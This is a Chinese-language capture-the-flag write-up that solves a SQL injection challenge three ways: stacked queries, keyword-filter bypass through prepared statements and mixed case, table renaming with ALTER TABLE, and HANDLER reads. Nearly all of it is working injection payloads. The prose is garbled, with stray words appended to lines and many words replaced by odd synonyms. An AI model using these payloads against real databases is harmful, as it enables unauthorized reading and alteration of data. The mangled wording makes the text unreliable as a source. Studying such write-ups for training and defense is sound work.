方法一:sql
1.输入1’发现不回显,而后1’ #显示正常,应该是存在sql注入了函数
2.order by 2的时候是正常回显了,order by 3就出错了,只有2个字段,这时候用union select进行联合查询,发现关键字被正则过滤spa
3.尝试堆叠注入3d
-1';show tables --+blog
4.查看字段,io
-1';show columns from `1919810931114514` --+编译
-1';show columns from `words` --+table
5.查看值,须要绕过select的限制,咱们能够使用预编译的方式select
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#语法
拆分开来以下:
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt; #
6.这里用strstr函数过滤了set和prepare关键词,但strstr这个函数并不能区分大小写,咱们将其大写便可。
-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#
方法二:
1.由上面的探测咱们能够猜想出这里会查询出words表的data列的结果。也就是相似于下面的sql语句:
select * from words where id = '';
2.咱们将表1919810931114514名字改成words,flag列名字改成id,那么就能获得flag的内容了。
修改表名和列名的语法以下:
修改表名(将表名user改成users)alter table user rename to users;
修改列名(将字段名username改成name)alter table users change uesrname name varchar(30);
3.最终payload以下:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开来以下:
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#
4.而后使用1' or 1=1#便可查询出flag
方法三:
使用handler查询,payload以下:
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#